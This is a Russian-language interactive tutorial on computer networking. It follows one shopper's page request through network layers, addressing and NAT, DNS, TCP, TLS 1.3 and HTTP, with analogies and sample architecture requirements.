Как читать схему. Подсвечено то, что участвует в текущем шаге. Стрелки между рядами — что летит по сети: ▼ — к серверу, ▲ — обратно к Анне. Номер главы в конце текста — где этот шаг разобран подробно.
Проще говоря. Сеть — это не «мгновенная труба», а почта с правилами. Каждое правило (протокол) добавляет разговор, а каждый разговор — ожидание ответа. Поэтому у Анны в Новосибирске страница открывается дольше, чем у Бориса в Москве: не потому, что сервер медленный, а потому, что каждый круг туда-обратно у неё длиннее.

глава 2 · пульт путь запроса Анны: где уходят миллисекунды

Это живая модель пути от Enter до готовой страницы. Выберите, где находится Анна, как она подключена, что лежит в кешах, по какой версии HTTP говорит браузер и есть ли у «Ботинка» CDN — сеть узлов-«представительств» рядом с покупателями. Нажмите «▶ Анна нажимает Enter»: пакеты полетят по схеме, а внизу вырастет водопад — такой же, как во вкладке «Сеть» инструментов разработчика в браузере (DevTools).

Не пугайтесь незнакомых слов: SYN, ClientHello, 0-RTT и остальные разобраны в главах 5–8. Сейчас важно одно — увидеть, из чего складывается время. После первого запуска любая смена настройки сразу пересчитывает итог.

Где Анна (сервер — в Москве)
Как подключена
Адрес botinok.ru (DNS)
Версия HTTP
CDN у «Ботинка»
Визит

Чтобы повторить вечер Анны из главы 1, выберите «Новосибирск» и «мобильный 4G». Вечер Бориса — «Москва» и Wi-Fi.

🎯 Задание. Анна в Нью-Йорке, первый визит. Добейтесь, чтобы первый байт страницы пришёл быстрее 250 мс. Подсказка: одной версией HTTP тут не обойтись.
0 мс

Водопад: как во вкладке «Сеть» в DevTools

DNSTCP-соединениеTLS / QUIC ждём ответ (до первого байта)скачиваем ждём своей очереди

Журнал: что происходило по порядку

Нажмите «▶ Анна нажимает Enter».
Как читать схему. Цвет летящего пакета — какой это разговор: бирюзовый — DNS, оранжевый — TCP, фиолетовый — TLS или QUIC, зелёный — HTTP-запрос страницы, синий — остальные файлы. Пунктир — длинная линия до Москвы. Серые узлы в этой настройке не участвуют. Справа сверху — сколько длится один круг туда-обратно (RTT) до сервера и до CDN.
Что заложено в модель. Сервер «Ботинка» — в Москве. Круг до него по магистрали: из Москвы ≈4 мс, из Новосибирска ≈50 мс, из Нью-Йорка ≈115 мс. Wi-Fi добавляет к каждому кругу ≈6 мс и даёт 50 Мбит/с; 4G — ≈45 мс и 12 Мбит/с. Сервер собирает HTML за 60 мс, API цен — за 30 мс. Страница — это HTML (60 КБ) плюс 23 файла (CSS, скрипты, 19 картинок; всего ≈1,5 МБ) и один запрос к API. Для HTTP/3 модель считает, что браузер уже знает о его поддержке. Это упрощение: настоящие цифры плавают, но соотношения — именно такие.
Что попробовать и что вы увидите.
1. Москва → Новосибирск → Нью-Йорк при всём остальном прежнем. Сервер тот же, а время растёт почти пропорционально расстоянию: почти всё время — ожидание кругов, а не работа сервера.
2. HTTP/1.1 против HTTP/2 из Нью-Йорка. У первого в водопаде появится «лесенка» из шести соединений, и каждое тратит круги на рукопожатия.
3. Включите CDN. Рукопожатия станут короткими — они теперь идут до узла в городе Анны. А HTML всё равно едет из Москвы: он у каждого свой.
4. Повторный визит: картинки и скрипты берутся из кеша браузера, а HTTP/3 отправляет запрос сразу, без рукопожатия (0-RTT).
5. Переключите на 4G. Каждый круг подорожал на 40 мс — и всё, что зависит от числа кругов, подорожало вместе с ним.

глава 3 · уровни письмо в конверте, конверт в мешке, мешок в грузовике

На пульте мы видели четыре разных разговора. Почему их так много? Нельзя ли одним протоколом? Нельзя — и по той же причине, по которой почта не поручает одному человеку и писать письмо, и сортировать мешки, и водить грузовик.

Уровень сети (network layer) — слой, который решает одну задачу доставки и ничего не знает о задачах соседних слоёв. Верхний слой отдаёт данные нижнему, тот добавляет свой «конверт» со своими пометками и передаёт ещё ниже.
Анна пишет письмо. Кладёт его в конверт и пишет номер квартиры. Почта складывает конверты в мешок с адресом города. Мешок едет в грузовике до ближайшей сортировки, там перегружается в другой грузовик, потом в поезд. Водителю не нужно читать письмо, а Анне — знать маршрут грузовика. Каждый делает своё.

Четыре уровня модели TCP/IP — и номера из модели OSI

На практике интернет живёт по модели TCP/IP из четырёх уровней. Но в разговорах постоянно звучат номера из учебной модели OSI с семью уровнями: «балансировщик L4», «файрвол L7». Поэтому держите обе — как словарь.

Уровень TCP/IPНомер в OSIКакую задачу решаетПротоколыВ почтовой аналогииКто смотрит на этот уровень
ПрикладнойL7 (и L5–L6)О чём разговор: «дай страницу», «какой адрес у имени»HTTP, DNS, gRPC, SMTP; TLS обычно относят сюда жеСамо письмоБраузер, сервер приложения, L7-балансировщик, шлюз API
ТранспортныйL4Какой программе на компьютере и надёжно ли: порядок, повторы, скоростьTCP, UDP; QUIC работает поверх UDPКонверт: номер квартиры, номер страницы, «заказное с уведомлением»Операционная система, L4-балансировщик, файрвол по портам
МежсетевойL3До какого компьютера в какой сети и через когоIPv4, IPv6, ICMPМешок с адресом города и домаМаршрутизаторы — каждый решает, куда отправить мешок дальше
Канальный + физическийL2 + L1До соседнего устройства по конкретному проводу или радиоEthernet, Wi-Fi, 4G/5G, оптикаГрузовик до ближайшей сортировкиКоммутаторы, точки доступа, сетевые карты
Где пригодится. «Балансировщик L4» смотрит только на конверт (адрес и порт) и не читает письмо. «Балансировщик L7» вскрывает конверт и читает HTTP: путь, заголовки, cookie. От этого зависит, можно ли «отправлять премиум-клиентов на отдельные серверы». Подробно — в .

Матрёшка: как запрос Анны обрастает конвертами

Посмотрите, что происходит с запросом «дай каталог», пока он спускается от браузера к сетевой карте. Для простоты возьмём домашний ноутбук Анны с Wi-Fi. На каждом шаге добавляется новый заголовок.

Заголовок (header) — служебные данные в начале пакета: откуда, куда, какой по счёту, сколько байт. Полезные данные после заголовков называют полезной нагрузкой (payload).

MTU: почему страница едет кусками по полтора килобайта

MTU (maximum transmission unit) — максимальный размер пакета, который пролезает через конкретный участок сети целиком. В обычном Ethernet и Wi-Fi это 1500 байт. Всё, что больше, приходится резать.
в грузовик влезает мешок не больше определённого размера. Мешок побольше придётся перепаковать в два. А если по дороге встретится низкий мост — и грузовик, и мешок должны быть ещё меньше.

Из 1500 байт пакета 20 уходит на заголовок IP и ещё 20 — на заголовок TCP (без дополнительных опций). Остаётся 1460 байт полезных данных — это называется MSS (maximum segment size). HTML каталога в 60 КБ поедет примерно 42 пакетами, а картинка в 300 КБ — двумя сотнями.

Туннели и VPN уменьшают MTU

Туннель заворачивает пакет в ещё один конверт — со своим заголовком. Места под данные становится меньше. Если этого не учесть, большие пакеты застрянут.

Как пакет узнаёт о «низком мосте»

Маршрутизатор, которому пакет велик, отвечает служебным сообщением протокола ICMP: «слишком большой, уменьшите». Если файрвол такие сообщения режет, отправитель ничего не узнает — и пакеты молча пропадают.

Симптом, который стоит запомнить

«Маленькие запросы работают, большие зависают». Вход в личный кабинет открывается, а страница с длинным списком заказов — нет. Разбор — в главе 12.

  • «Интеграция с партнёром идёт через VPN-туннель. Размер пакета (MTU/MSS) на туннеле согласовывается с партнёром и проверяется тестом с ответом больше 10 КБ».
  • «Для балансировщика указать уровень: L4 (TCP) или L7 (HTTP). Требования маршрутизации по пути и заголовкам реализуемы только на L7».

глава 4 · адреса IP-адреса, порты, частные сети и NAT

На каждом конверте нужен адрес. В сети их два вида: адрес компьютера и номер программы на нём.

IP-адрес (Internet Protocol address) — числовой адрес сетевого интерфейса компьютера. По нему маршрутизаторы решают, куда везти пакет.
Порт (port) — число от 0 до 65 535, которое указывает, какой программе на этом компьютере отдать данные. Веб-сервер обычно слушает порт 443 (HTTPS), база PostgreSQL — 5432, DNS-сервер — 53.
IP-адрес — это адрес дома, порт — номер квартиры. Почтальон довозит письмо до дома по адресу, а в какой почтовый ящик его опустить — решает номер квартиры.

IPv4: 32 бита, ≈4,3 млрд адресов

Пишется четырьмя числами: 203.0.113.10. Адресов давно не хватает на всех: свободный запас мирового распределителя IANA кончился в 2011 году, европейского регистратора RIPE NCC — в 2019-м. Отсюда частные сети и NAT (ниже).

IPv6: 128 бит, адресов хватит всем

Пишется восемью группами шестнадцатеричных цифр, нули можно сокращать: 2001:db8:10::10. Мобильные операторы и крупные сайты давно работают по IPv6. Для архитектора важно одно: поле «IP-адрес» в базе должно вмещать и IPv6 (до 39 символов в текстовом виде).

Все адреса в этом разделе взяты из диапазонов, специально выделенных для документации и учебников (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24, 2001:db8::/32). Настоящим сайтам они не принадлежат.

Порты: у сервера — известный, у клиента — случайный

Сервер ждёт соединений на заранее известном порту: HTTPS — 443. А браузер Анны для каждого соединения берёт у операционной системы эфемерный (временный) порт — случайный свободный номер из специального диапазона. В Linux по умолчанию это 32 768–60 999, в Windows — 49 152–65 535. Зачем это знать — в главе 12, где порты вдруг кончаются.

Частные сети и NAT: тысяча квартир за одним адресом

Частная сеть (private network) — диапазоны адресов, которые не маршрутизируются в интернете и свободно используются внутри домов, офисов и дата-центров: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918). У IPv6 похожую роль играют адреса fd….
NAT (network address translation, трансляция адресов) — устройство на границе сети подменяет частный адрес и порт отправителя на свой публичный, запоминает соответствие и по нему возвращает ответы обратно.
в большом офисе один общий почтовый адрес. Секретарь на ресепшене отправляет письма сотрудников от имени компании, а в журнале записывает: «ответ на письмо № 40001 — отдать Анне из 305-го кабинета». Посторонний не может написать Анне напрямую: снаружи виден только адрес офиса.

Снаружи не достучаться

Сервер не может сам «позвонить» ноутбуку Анны — у того нет публичного адреса. Поэтому push-уведомления и чаты держат соединение, открытое со стороны клиента (WebSocket, глава 10).

Один IP — тысячи людей

Мобильные операторы ставят NAT на всю сеть (адреса 100.64.0.0/10 — «общие адреса оператора»). Лимит «10 запросов в секунду с одного IP» может разом отрезать целый район.

NAT помнит не вечно

Запись в таблице NAT живёт, пока по соединению что-то ходит. Долго молчащее соединение NAT может «забыть» — и следующий пакет уйдёт в никуда. Это одна из причин пингов в долгих соединениях.

Два особых адреса: localhost и 0.0.0.0

127.0.0.1 и ::1 — localhost, «я сам»

Пакет на этот адрес не выходит из компьютера. Сервис, который слушает только 127.0.0.1:8080, доступен лишь программам на той же машине. Внутри контейнера «сама машина» — это сам контейнер: соседний контейнер уже «снаружи».

0.0.0.0 — «на всех адресах сразу»

В настройке сервера означает: принимать соединения на всех сетевых интерфейсах. Классическая ошибка: сервис в контейнере запустили на 127.0.0.1, а не на 0.0.0.0 — и снаружи он отвечает «connection refused», хотя «у меня локально всё работает».

Сокет и четвёрка чисел

Сокет (socket) — конечная точка соединения внутри программы: пара «IP-адрес + порт» и объект операционной системы, через который программа читает и пишет данные. Одно TCP-соединение однозначно задают четыре числа: IP и порт клиента, IP и порт сервера.
телефонный звонок определяют два номера: кто звонит и кому. Колл-центр с одним номером может вести тысячу разговоров одновременно — потому что у всех звонящих разные номера.

Поэтому сервер на одном порту 443 держит сотни тысяч соединений: у всех клиентов разные адреса и порты. А вот у клиента, который долбит один и тот же адрес и порт сервера, различаться может только его собственный порт — и их всего около 28 тысяч. Запомните это: пригодится в главе 12.

Тренажёр: какой это адрес?

Разложите адреса по видам. Решено 0 из 0.

  • «Партнёр обращается к нашему API с фиксированных IP-адресов; список адресов и портов фиксируется в приложении к договору и в правилах файрвола. Изменение — по заявке за 10 рабочих дней».
  • «IP-адрес клиента не является идентификатором пользователя: за одним адресом может быть много людей (NAT). Ограничение частоты — по учётной записи или токену, по IP — только как грубая защита».
  • «Поля с IP-адресом хранят и IPv4, и IPv6».

глава 5 · DNS справочная интернета: как имя превращается в адрес

Анна набрала botinok.ru. Но пакеты ходят только по числовым адресам. Кто-то должен сказать браузеру, что botinok.ru — это 203.0.113.10.

DNS (Domain Name System, система доменных имён) — распределённая справочная, которая по имени выдаёт адрес и другие сведения о домене. Распределённая — значит, никто не хранит всё: каждый сервер отвечает за свой кусок имён и знает, кого спросить про остальное.
вы ищете телефон ресторана «Ботинок» в Новосибирске. Справочная страны не знает всех ресторанов, но даёт номер справочной области. Та — городской. Городская — телефон самого ресторана. В следующий раз вы звоните сразу в ресторан: номер записан в блокноте. Но через месяц зачёркиваете запись — вдруг переехали.

Кто участвует

🖥 Резолвер в ОС (stub resolver)

Маленький помощник внутри ОС Анны. Сам ничего не ищет: заглядывает в свой кеш и файл hosts, а потом спрашивает настоящий резолвер.

📖 Рекурсивный резолвер

Тот, кто делает всю работу: обходит цепочку серверов и кеширует ответы. Обычно его даёт провайдер; бывают публичные — например, 8.8.8.8, 1.1.1.1, 77.88.8.8. В компании — свой, внутренний.

🌐 Корневые серверы

Вершина дерева имён — зона «.» (точка). Корневых серверов 13 по именам (от a до m.root-servers.net), их держат 12 независимых организаций. Физически это около двух тысяч копий по всему миру: одинаковые адреса отвечают из ближайшей точки (anycast, глава 10).

🏷 Серверы зоны верхнего уровня (TLD)

Отвечают за .ru, .com, .org. Сами адресов сайтов не знают, но знают, какие серверы отвечают за botinok.ru. Реестр зоны .ru ведёт Координационный центр доменов .RU/.РФ.

✅ Авторитетный сервер

Хранит «истину» про зону botinok.ru: какие у неё записи и адреса. Обычно это DNS-хостинг у регистратора или облака. Только его ответ — первоисточник, все остальные — копии из кешей.

🗃 Кеши на каждом шагу

Браузер, ОС, резолвер провайдера и даже ваше приложение (например, Java-машина) запоминают ответы. Каждый ответ приходит со «сроком годности» — TTL.

Резолвинг по шагам

Выберите, что лежит в кешах, и пройдите запрос. Внизу — что каждый участник запомнил и на сколько секунд.

Как читать. Подсвечен тот, кто сейчас спрашивает или отвечает. В рамке — ответ в том виде, в каком его показывает утилита dig: имя, TTL в секундах, класс IN (интернет), тип записи и значение. В нижних карточках — кеши, число после записи — сколько секунд ей осталось жить.

Какие бывают записи

DNS хранит не только адреса. Каждая строка зоны — это запись (resource record) определённого типа. Нажимайте на типы.

TTL: срок годности ответа

TTL (time to live, «время жизни») — сколько секунд любой кеш имеет право хранить ответ, не переспрашивая. Задаёт его владелец зоны на авторитетном сервере. Короткий TTL — изменения доезжают быстро, но запросов к DNS больше. Длинный — наоборот.
молоко в холодильнике. Пока срок не вышел, за новым в магазин не ходят — даже если в магазин уже завезли другое. Резолвер, получивший ответ с TTL 86 400, сутки не станет переспрашивать, что бы вы ни поменяли в зоне.

Отсюда главная неприятность DNS: изменение нельзя «разослать». Его можно только положить на авторитетный сервер и ждать, пока во всех кешах мира истечёт старый TTL. Ещё хуже: некоторые клиенты кешируют дольше положенного (старые Java-приложения, долгоживущие пулы соединений), а отрицательный ответ «такого имени нет» тоже кешируется — по правилам записи SOA зоны.

Переезд: «поменяли IP, а половина пользователей ходит на старый»

«Ботинок» переезжает в новый дата-центр. Борис меняет A-запись: было 203.0.113.10, стало 198.51.100.200. 24 значка ниже — покупатели и сервисы; у каждого ответ DNS закеширован в свой момент, поэтому истекает в свой. Двигайте время и меняйте условия.

TTL записи в момент смены
Старый сервер после переезда
Клиенты, которые не слушают TTL
5 мин
Рецепт переезда без потерь.
1. Заранее снизить TTL — например, до 60–300 секунд. «Заранее» — это не меньше старого TTL до переезда: был TTL сутки — снижаем за сутки, иначе кеши ещё держат старый длинный срок.
2. Поменять запись. Большинство клиентов переедет за несколько минут.
3. Не выключать старый адрес: пусть принимает запросы и пересылает их на новый, пока на него идёт трафик. Смотреть на график запросов к старому адресу, а не на часы.
4. Найти тех, кто застрял: обычно это сервисы с вечным DNS-кешем или пулами соединений, которые никогда не переподключаются.
5. Вернуть TTL обратно, чтобы не нагружать DNS зря.

Умный DNS: география и проверки здоровья — и их пределы

🗺 GeoDNS

Авторитетный сервер отвечает разным клиентам разными адресами: из Новосибирска — адрес сибирской площадки, из Москвы — московской. Решает по адресу резолвера, а не Анны. Если Анна пользуется публичным резолвером в другой стране, её «увидят» там. Часть резолверов передаёт кусок адреса клиента (расширение EDNS Client Subnet), но не все.

❤ DNS с проверкой здоровья

DNS-провайдер проверяет площадки и убирает из ответа ту, что не отвечает. Работает, но медленно: клиенты, получившие старый ответ, ходят на мёртвый адрес до конца TTL. Это переключение за минуты, а не за секунды. Для быстрого — балансировщик и anycast.

🔁 Несколько A-записей

На одно имя можно отдать несколько адресов. Клиенты разойдутся по ним примерно поровну, но это не балансировка: DNS не знает нагрузку и не видит, жив ли адрес. Мёртвый адрес останется в ответе.

🔒 Шифрованный DNS

Обычный DNS идёт по UDP на порт 53 открытым текстом: провайдер видит, какие сайты открывает Анна. DNS over TLS (порт 853) и DNS over HTTPS прячут это. В компаниях это ломает внутренние имена и контроль — такие вещи согласуют с безопасностью.

«Это всегда DNS»: классические аварии

У админов есть шутка-хайку: «Не может быть DNS. / Нет, точно не DNS. / Это был DNS». Нажимайте на пункты.

  • «TTL основных записей — 300 секунд. За сутки до плановых переездов TTL снижается до 60 секунд; старый адрес принимает трафик не менее 24 часов после смены».
  • «Срок регистрации домена и сертификатов отслеживается мониторингом, оповещение за 30 дней до окончания».
  • «Все исходящие вызовы сервисов идут по DNS-именам, а не по IP. Кеш DNS в приложениях — не дольше 60 секунд».

глава 6 · TCP заказное письмо с уведомлением: надёжная доставка по ненадёжной сети

Адрес известен. Теперь браузеру нужно передать запрос и получить страницу — 42 пакета HTML и сотни пакетов картинок. Сеть же ничего не обещает: пакеты теряются, дублируются, приходят не по порядку. Порядок и надёжность добавляет TCP.

TCP (Transmission Control Protocol) — протокол транспортного уровня, который превращает поток отдельных пакетов в надёжную «трубу»: всё, что отправлено, дойдёт целиком, без дублей и в том же порядке — или соединение честно сообщит об ошибке.
вы отправляете рукопись по почте постранично, заказными письмами. Каждую страницу нумеруете. Получатель регулярно сообщает: «получил всё до страницы 17». Если про страницу 18 долго нет вестей — вы отправляете её снова. Получатель складывает страницы по номерам, даже если 19-я пришла раньше 18-й.

Рукопожатие, данные и прощание

Прежде чем отправить хоть байт, стороны договариваются. Это тройное рукопожатие (three-way handshake): оно стоит один круг туда-обратно. Пройдите по стрелкам — и обратите внимание на последний шаг.

Пять механизмов, на которых держится TCP

🔢 Номера последовательности

Каждый байт потока имеет номер. По номерам получатель расставляет куски по порядку и выкидывает дубли. Начальный номер случайный — чтобы старые заблудившиеся пакеты не смешались с новым соединением.

✅ Подтверждения (ACK)

Получатель сообщает: «жду байт номер N» — значит, всё до N получено. Подтверждение накопительное: одно ACK закрывает сразу много пакетов.

🔁 Повторная отправка

Нет подтверждения за отведённое время (RTO, у Linux не меньше 200 мс) — отправить снова. Быстрее срабатывает «быстрый повтор»: пришли три одинаковых ACK «жду 18» — значит, 18-й потерян, а следующие дошли. Повторяем сразу, не дожидаясь таймера.

🪟 Окно

Сколько байт можно отправить, не дожидаясь подтверждений. Окно получателя защищает его от переполнения. Окно перегрузки (congestion window) защищает сеть: отправитель сам ограничивает себя, чтобы не забить общий канал.

🐢 Медленный старт

Новое соединение не знает, какая сеть по дороге. Поэтому начинает осторожно — с 10 пакетов (≈14 КБ, RFC 6928) — и удваивает окно каждый круг, пока не случится потеря. Отсюда правило: новое соединение медленнее старого, и первые 14 КБ ответа особенно ценны.

📉 Реакция на потерю

Потеря для TCP — признак перегрузки. Он резко уменьшает окно: при быстром повторе — примерно вдвое, при срабатывании таймера — почти до нуля и снова медленный старт. Поэтому даже 1–2 % потерь заметно замедляют скачивание.

TCP вживую: передаём файл и теряем пакеты

Сервер отправляет Анне файл из 40 сегментов. Каждый круг отправитель выпускает столько сегментов, сколько позволяет окно, и ждёт подтверждения. Выберите процент потерь и нажмите «▶ Передать». Или уроните сегмент вручную — посмотрите, что сделает TCP.

🏬 Серверотправляет файл
👩 Браузер Анныполучает и подтверждает
Как читать. Верхняя дорожка — сегменты, которые летят к Анне в этом круге; жёлтые — повторы, зачёркнутые красные — потерянные. Нижняя — подтверждение, которое летит обратно. Клетки под схемой — весь файл: синие в пути, зелёные подтверждены, красные потеряны и ждут повтора. Для наглядности окно здесь начинается с 2 сегментов (в жизни — с 10), круг длится 50 мс, таймер повтора — 200 мс.

Сколько стоит потеря: мегабайт при разных потерях

Один прогон — случайность. Посчитаем честно: 200 раз передадим файл в 1 МБ (≈700 сегментов) с настоящим начальным окном в 10 сегментов, кругом в 50 мс и таймером 200 мс. И сравним среднее время.

Вывод для требований. Потери сильно влияют на время: при 5 % потерь мегабайт качается в разы дольше, чем без них, даже при той же скорости канала. Плохая мобильная связь — это не только «медленно», но и «с потерями». Проверять приложение надо на профиле с потерями, а не только на офисном Wi-Fi.

Закрытие и TIME_WAIT: почему порт «занят» ещё минуту

Тот, кто закрыл соединение первым, не освобождает свою четвёрку «адрес + порт» сразу, а держит её в состоянии TIME_WAIT — в Linux 60 секунд. Это страховка: вдруг по сети ещё бродит запоздавший пакет старого соединения — он не должен попасть в новое с теми же номерами портов. Цена — если открывать и закрывать тысячи соединений к одному и тому же адресу, порты кончатся (глава 12).

Держать линию открытой: keep-alive и пулы соединений

Пул соединений (connection pool) — набор заранее открытых соединений, которые программа берёт «в аренду» на один запрос и возвращает обратно, не закрывая. Рукопожатия TCP и TLS случаются один раз, а не на каждый запрос.
таксопарк у вокзала. Можно на каждого пассажира вызывать машину из гаража — полчаса подачи. А можно держать очередь машин у выхода: пассажир сел и поехал, машина вернулась в очередь.

HTTP keep-alive

В HTTP/1.1 соединение по умолчанию не закрывается после ответа: следующий запрос идёт по нему же. Экономит TCP- и TLS-рукопожатие — один-два круга на каждый запрос.

TCP keepalive — это другое

Механизм ОС: если соединение долго молчит, послать пустой пакет-проверку «ты жив?». В Linux по умолчанию — через 2 часа тишины, что для облаков с таймаутами в минуты почти бесполезно. Обычно настраивают пинги на уровне приложения.

Подвох пулов

Соединение в пуле могло тихо умереть: балансировщик или NAT закрыл его по простою. Пул должен выбрасывать соединения раньше, чем их выбросит посредник, и проверять их перед выдачей. Иначе — ошибка на первом запросе после паузы.

UDP: открытка без уведомления

UDP (User Datagram Protocol) — транспорт «отправил и забыл»: без рукопожатия, без подтверждений, без порядка и без повторов. Каждый пакет сам по себе.
открытка против заказного письма. Открытка дешевле и быстрее: бросил в ящик — и всё. Дошла или нет — не узнаешь. Для «поздравляю с праздником» годится, для договора — нет.
  • «Клиентские библиотеки к внутренним сервисам используют пул соединений; время простоя соединения в пуле — меньше таймаута простоя балансировщика (например, 50 с против 60 с)».
  • «Нагрузочное тестирование проводится в том числе на профиле сети с задержкой 100 мс и потерями 1–2 %».

глава 7 · TLS 1.3 сейф с печатью: как Анна убеждается, что говорит с настоящим «Ботинком»

TCP-соединение открыто. Но по дороге пакеты Анны проходят через Wi-Fi в кафе, провайдера, магистральные сети. Любой из них мог бы прочитать пароль или подменить номер карты. Чтобы этого не случилось, поверх TCP устанавливается TLS.

TLS (Transport Layer Security) — протокол, который поверх соединения даёт три гарантии: тайну (посторонний не прочитает), целостность (не подменит незаметно) и подлинность (сервер доказал, что он владелец имени botinok.ru). HTTPS — это HTTP внутри TLS.
курьер привозит документы в сейфе. Прежде чем отдать код, вы проверяете его паспорт, выданный государством, которому вы доверяете. Потом вы вдвоём договариваетесь о коде так, что подслушивающий на лестнице всё равно его не узнает. Дальше всё возят в этом сейфе.

Что TLS защищает

Содержимое: адрес страницы после имени сайта, заголовки, cookie, токены, тело запроса и ответа. Подмену любого байта. Подмену самого сервера — если сертификат проверен.

Что TLS не прячет

IP-адреса и порты (они на внешнем конверте). Имя сайта в поле SNI — пока не включено шифрование ClientHello (ECH, RFC 9849, 2026 год; поддерживается ещё редко). DNS-запросы, если DNS не шифрованный. Размер и время пакетов.

Актуальная версия — TLS 1.3: RFC 8446 (2018), в 2026 году переиздан с уточнениями как RFC 9846. Её главное отличие от TLS 1.2 для нас — рукопожатие в один круг вместо двух и выброшенные устаревшие шифры. TLS 1.0 и 1.1 официально запрещены (RFC 8996), TLS 1.2 ещё широко живёт.

Рукопожатие TLS 1.3 за один круг

Сертификат и цепочка доверия

Сертификат — электронный документ: «открытый ключ такой-то принадлежит владельцу имени botinok.ru, действителен с… по…», подписанный удостоверяющим центром (certificate authority, CA). Браузер доверяет подписи, если может пройти по цепочке до корневого центра из встроенного списка доверенных.
справка с печатью отдела, у отдела — доверенность с печатью министерства, а печать министерства вы знаете в лицо. Если в папке нет доверенности отдела — справка «ничья», хотя сама по себе настоящая.

1. Сертификат сайта

Имя (botinok.ru, *.botinok.ru), срок, открытый ключ. Подписан промежуточным центром.

2. Промежуточный сертификат

Сервер обязан прислать его сам. Частая ошибка: забыли — браузер иногда достраивает цепочку сам, а Java и curl падают с «unable to get local issuer certificate».

3. Корневой сертификат

Уже лежит в хранилище доверия ОС или браузера. Сервер его не присылает. Внутренние корпоративные центры надо раздать на все машины и в образы контейнеров.

Сертификаты живут всё меньше. По решению CA/Browser Forum (голосование SC-081, 2025 год) предельный срок публичного TLS-сертификата — 200 дней с 15 марта 2026 года, 100 дней с марта 2027-го и 47 дней с марта 2029-го. Продлевать вручную раз в год больше не получится: выпуск и продление должны быть автоматическими (например, по протоколу ACME). Подробнее о ключах и центрах — в .

SNI: как на одном IP живут сто сайтов

SNI (Server Name Indication) — поле в первом сообщении TLS, где браузер называет имя сайта. Без него сервер с сотней сайтов на одном IP не знал бы, какой сертификат показывать.
вы звоните в бизнес-центр и первым делом говорите: «мне в «Ботинок», 5-й этаж». Иначе вахтёр не знает, чьим сотрудником представиться.

SNI идёт открытым текстом — провайдер и корпоративный файрвол видят имя сайта, даже если не видят страниц. Этим пользуются фильтры. Тот же SNI позволяет балансировщику L4 направить соединение по имени, не расшифровывая его.

Возобновление и 0-RTT: быстрее, но с оговоркой

Возобновление сессии

В конце рукопожатия сервер выдаёт браузеру «билет» (session ticket). В следующий раз браузер предъявляет его — и стороны пропускают проверку сертификата и тяжёлую математику. По TCP это всё равно один круг, но заметно дешевле для процессора сервера.

0-RTT (ранние данные)

С билетом браузер может отправить запрос прямо в первом пакете, не дожидаясь ответа сервера. Экономит целый круг. Особенно хорошо работает в HTTP/3.

Риск 0-RTT — повтор. Ранние данные не защищены от воспроизведения: злоумышленник может перехватить первый пакет и отправить его серверу ещё раз. Для «показать каталог» это не страшно. Для «оплатить заказ» — страшно. Поэтому 0-RTT разрешают только для безопасных, идемпотентных запросов (GET без побочных эффектов). Сервер, который не хочет рисковать, отвечает 425 Too Early — и браузер повторит запрос после полного рукопожатия. Про идемпотентность — в .

Где «снимать» TLS: пять вариантов

Шифрование нужно где-то завершить (TLS termination): там, где его расшифруют, видно содержимое и можно маршрутизировать по пути, кешировать, проверять токены. Нажимайте на строки.

Про то, как это выглядит на балансировщиках и шлюзах, — в разделах и .
  • «Внешние подключения — только TLS 1.2 и выше, предпочтительно TLS 1.3; TLS 1.0/1.1 и SSL отключены. Включён HSTS».
  • «Сертификаты выпускаются и продлеваются автоматически; мониторинг срока действия с оповещением за 14 дней».
  • «Ранние данные (0-RTT) допускаются только для GET-запросов каталога; операции оплаты и изменения данных — только после полного рукопожатия».
  • «Трафик между сервисами внутри периметра шифруется (mTLS)» — если это требование безопасности; иначе явно зафиксировать, где TLS завершается.

глава 8 · HTTP сам разговор: запрос, ответ и три поколения протокола

Соединение открыто и зашифровано. Наконец браузер говорит, что ему нужно.

HTTP (Hypertext Transfer Protocol) — протокол прикладного уровня «запрос — ответ». Клиент отправляет метод (что сделать), путь (с чем) и заголовки (подробности), сервер возвращает код (как прошло), заголовки и тело. Смысл сообщений общий для всех версий (RFC 9110). Отличаются версии тем, как сообщения едут по проводу.
бланк заявления в окошко. Вверху — «Прошу выдать справку» (метод и путь). Ниже — графы: кто, откуда, в каком виде нужен ответ (заголовки). В ответ — штамп «Выдано» или «Отказано» (код) и сама справка (тело).

Что летит по проводу: запрос

GET /catalog/sneakers?size=38 HTTP/1.1Метод GET — «дай». Путь с параметрами. Версия протокола.
Host: botinok.ruИмя сайта: на одном IP может жить много сайтов. Единственный обязательный заголовок HTTP/1.1.
User-Agent: Mozilla/5.0 (Windows NT 10.0…)Кто спрашивает: браузер, версия, система.
Accept: text/htmlКакой формат ответа нужен.
Accept-Encoding: gzip, brКаким сжатием клиент умеет распаковывать. Сжатие HTML — обычно в 4–8 раз меньше байт по сети.
Cookie: session=7f3a…Кто это: сессия Анны. Едет с каждым запросом к этому сайту — лишние сотни байт каждый раз.
If-None-Match: "v42"«У меня уже есть версия v42. Если не менялась — не присылай». Условный запрос.

…и ответ

HTTP/1.1 200 OKКод ответа: 200 — всё хорошо, вот содержимое.
Content-Type: text/html; charset=utf-8Что в теле и в какой кодировке.
Content-Encoding: brТело сжато алгоритмом Brotli.
Content-Length: 18234Сколько байт тела — чтобы знать, где ответ кончился и где начнётся следующий.
Cache-Control: private, max-age=0Кешировать только в браузере и перепроверять каждый раз. Для картинки было бы public, max-age=31536000, immutable.
ETag: "v43"Метка версии. В следующий раз браузер пришлёт её в If-None-Match, и если не изменилось — получит короткий 304 Not Modified без тела.
Alt-Svc: h3=":443"; ma=86400«Я умею HTTP/3 на UDP-порту 443, запомни на сутки». Так браузер узнаёт про HTTP/3. Второй способ — DNS-запись HTTPS (RFC 9460).
Strict-Transport-Security: max-age=31536000HSTS: «год ходи ко мне только по HTTPS». Защищает от подмены на незашифрованный HTTP.

Методы и коды — шпаргалка

МетодЧто значитБезопасныйИдемпотентный
GETполучитьдада
HEADтолько заголовкидада
POSTсоздать, выполнить действиенетнет
PUTположить целикомнетда
PATCHизменить частьнетзависит
DELETEудалитьнетда
OPTIONSчто можно (в т. ч. проверка CORS)дада
КодКогда
1xx 101Switching Protocols — переходим на WebSocket
2xx 200, 201, 204успех; создано; успех без тела
3xx 301/308, 302/307, 304переехало навсегда / временно; не изменилось — бери из кеша
4xx 400, 401, 403, 404, 409, 425, 429ошибка клиента: кривой запрос, не представился, нельзя, нет такого, конфликт, «слишком рано» (0-RTT), слишком часто
5xx 500, 502, 503, 504ошибка сервера: упал; посредник получил плохой ответ от соседа; перегружен или на обслуживании; посредник не дождался соседа
